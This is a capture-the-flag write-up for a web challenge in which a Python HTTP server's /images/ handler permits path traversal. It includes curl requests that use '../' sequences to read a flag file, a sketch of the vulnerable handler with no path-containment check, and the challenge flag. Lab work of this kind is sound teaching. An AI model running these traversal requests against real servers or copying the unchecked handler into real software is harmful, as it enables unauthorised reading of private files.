Category: Web
Host: 10.240.3.160
Flag: MCTF25{V4lidat3_Clien7_Requ35sts_Plzzzz}
A very experienced developer has created a website. It is told they are keeping secrets on the server…
IP(s): 10.240.3.160
The title “Parent Security” strongly hints at parent directories (..) and path traversal.
nmap -sC -sV -Pn 10.240.3.160
Relevant result:
3000/tcp open http BaseHTTPServer 0.6 (Python 3.9.25)So we have a Python HTTP server on port 3000.
Open the site:
curl -v http://10.240.3.160:3000/ | head -n 60
Observations:
index.htmlabout.html, projects.html, contact.htmlstyle.css, script.jsGrab and inspect the other pages:
curl -s http://10.240.3.160:3000/about.html | head
curl -s http://10.240.3.160:3000/projects.html | head
curl -s http://10.240.3.160:3000/contact.html | head
Nothing obviously sensitive or dynamic there; it’s all static HTML + some JavaScript for UI only.
Inspect CSS & JS too:
curl -s http://10.240.3.160:3000/style.css | head -n 40
curl -s http://10.240.3.160:3000/script.js | cat
Again, nothing directly flag-related – just UI stuff.
We notice the HTML references images under /images:
<img src="images/project-brokenapp-thumb.png" ...>
<img src="images/project-game-thumb.png" ...>
<img src="images/project-portfolio-thumb.png" ...>
Try listing /images/:
curl -v http://10.240.3.160:3000/images/ | head
This returns a directory listing:
<html><body>
<h1>Directory listing for ./static/images/</h1>
<ul>
<li><a href="spinning-globe.gif">spinning-globe.gif</a></li>
<li><a href="echo-eyes.gif">echo-eyes.gif</a></li>
<li><a href="profile-photo.jpg">profile-photo.jpg</a></li>
</ul>
</body></html>
Key info:
Directory listing for ./static/images/../static, and /images/ maps to ./static/images/.So /images/ is a dedicated file handler – a good candidate for path traversal.
Naively try to go one level up using ..:
curl -v "http://10.240.3.160:3000/images/../" | head
But in the verbose output we see:
> GET / HTTP/1.1
curl normalizes the path before sending it, so /images/../ becomes / on the wire. Same for encoded forms like %2e%2e.
Result: the server just sends back index.html – we are not actually testing traversal yet.
--path-as-isTo stop curl from normalizing the path, use --path-as-is:
curl --path-as-is -v "http://10.240.3.160:3000/images/../" | head
Now the request line is:
> GET /images/../ HTTP/1.1
So the server really sees /images/../.
However, the response is still index.html. That suggests the handler does something with that path but falls back to the main page when it cannot find a proper file/directory to list.
Given:
/images/ lists ./static/images/./images/<file> obviously maps inside ./static/images/.BaseHTTPServer).A very plausible handler:
if path.startswith("/images/"):
fs_path = os.path.join("static/images", path[len("/images/"):])
fs_path = os.path.normpath(fs_path)
# ❌ no check that fs_path stays within "static/images"
send_file(fs_path)
else:
# serve normal pages, or index.html as a fallback
Because os.path.normpath collapses ..:
/images/spinning-globe.gif
→ static/images/spinning-globe.gif/images/../flag.txt
→ static/images/../flag.txt
→ static/flag.txt (parent directory)/images/../../private/flag.txt
→ static/images/../../private/flag.txt
→ private/flag.txt (above static)If there is any secret file above static/images (e.g. flag.txt in a “parent” dir), we can reach it via /images/../../... – but only if the server fails to enforce that the resulting path stays under static/images.
That is exactly the “Parent Security” joke.
We start testing parent-level paths via /images/ using --path-as-is:
# Try common flag/secret locations one and two levels up
curl --path-as-is -s "http://10.240.3.160:3000/images/../../flag.txt" | head
curl --path-as-is -s "http://10.240.3.160:3000/images/../../../flag.txt" | head
curl --path-as-is -s "http://10.240.3.160:3000/images/../../secrets/flag.txt" | head
curl --path-as-is -s "http://10.240.3.160:3000/images/../../../secrets/flag.txt" | head
curl --path-as-is -s "http://10.240.3.160:3000/images/../../private/flag.txt" | head
curl --path-as-is -s "http://10.240.3.160:3000/images/../../../private/flag.txt" | head
One of these requests returns plain text with the flag instead of HTML. For example:
curl --path-as-is -s "http://10.240.3.160:3000/images/../../private/flag.txt"
Output:
MCTF25{V4lidat3_Clien7_Requ35sts_Plzzzz}
Boom – we’ve escaped above the static image directory into a parent directory where the real secret is stored.